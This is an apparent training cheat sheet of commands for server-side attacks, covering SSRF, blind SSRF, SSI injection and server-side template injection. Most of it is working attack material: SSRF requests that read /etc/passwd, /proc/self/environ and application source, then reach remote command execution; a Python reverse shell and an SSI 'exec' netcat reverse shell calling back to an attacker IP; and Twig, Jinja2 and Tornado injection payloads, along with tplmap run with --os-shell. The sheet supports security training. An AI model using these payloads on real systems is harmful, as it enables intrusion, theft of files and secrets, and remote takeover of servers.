Cheat sheet - server side attacks
Cheat Sheet
The cheat sheet is a useful command reference for this module.
Nginx Reverse Proxy & AJP
Command
Description
wget https://nginx.org/download/nginx-1.21.3.tar.gz
Downloading nginx
tar -xzvf nginx-1.21.3.tar.gz
Extracting nginx tar file
git clone https://github.com/dvershinin/nginx_ajp_module.git
Cloning nginx_ajp source code
cd nginx-1.21.3
Navigating to nginx directory
./configure --add-module=$(pwd)/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
Setting up the configuration for building and installing Nginx web server
make
GNU make utility to maintain groups of programs
sudo make install
Instructing the make command to execute the installation target defined in the make file
sudo nginx
Starting the nginx server
SSRF Exploitation Example
Command
Description
nmap -sT -T5 --min-rate=10000 -p- 10.129.201.238
Scanning the ports of the external target
curl -i -s -L http://<TARGET IP>
Interacting with the target and following redirects
nc -lvnp 8080
Starting a netcat listener to test for SSRF
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
Testing for SSRF vulnerability
python3 -m http.server 9090
Starting the python web server
sudo pip3 install twisted
Installing the ftp server
sudo python3 -m twisted ftp -p 21 -r .
Starting the ftp server
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
Retrieving a remote file through the target application (HTTP Schema)
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"
Retrieving a local file through the target application (File Schema)
for port in {1..65535};do echo $port >> ports.txt;done
Generating a wordlist of possible ports
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
Fuzzing for ports on the internal interface
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"
Interacting with the internal interface on the discovered port
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
Interacting with the internal application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"
Discovering web application listening in on localhost
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"
Modifying the URL to bypass the error message
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
Requesting to disclose the /proc/self/environ file on the internal application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"
Retrieving a local file through the target application
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
Confirming remote code exeuction on the remote host
sudo apt-get install jq
Installing jq
Blind SSRF Exploitation Example
Command
Description
nc -lvnp 9090
Starting a netcat listener
echo """<B64 encoded response>""" | base64 -d
Decoding the base64 encoded response
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Reverse shell payload (to be URL encoaded twice)
SSI Injection Exploitation Example
SSI Directive Payload
Description
<!--#echo var="DATE_LOCAL" -->
Date
<!--#printenv -->
All variables
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
Reverse Shell
SSTI Exploitation Example 1
Command
Description
git clone https://github.com/epinna/tplmap.git
Cloning the tplmap repoistory
cd tplmap
Navigating to the new directory
pip install virtualenv
Installing the virtual environment with pip
virtualenv -p python2 venv
Creating a virtual environment named venv with python2
source venv/bin/activate
Activating a Python virtual environment, configuring the shell to use the virtual environment's Python interpreter
pip install -r requirements.txt
Installing dependencies
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john
Running tplmap against the target
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell
Running tplmap with the os-shell option
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
Twig RCE payload
SSTI Exploitation Example 2
Command
Description
curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam
Interacting with the remote target (Spring payload)
curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteam
Interacting with the remote target (Twig payload)
curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteam
Interacting with the remote target (Jinja2 basic injection)
curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam
Interacting with the remote target (Jinja2 dump all classes payload)
curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam
Interacting with the remote target (Tornado payload)
./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah
Automating the exploitation process with tplmap
SSTI Exploitation Example 3
Command
Description
curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}"
Interacting with the remote target (Confirming Jinja2 backend)
./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd'
Automating the templating engine identification process with tplmap
python3
Starting the python3 interpreter
Methods
Description
__class__
Returns the object (class) to which the type belongs
__mro__
Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples.
__subclasses__
Each new class retains references to subclasses, and this method returns a list of references that are still available in the class
__builtins__
Returns the builtin methods included in a function
__globals__
A reference to a dictionary that contains global variables for a function
__base__
Returns the base class inherited by the object
__init__
Class initialization method
Last updated
Was this helpful?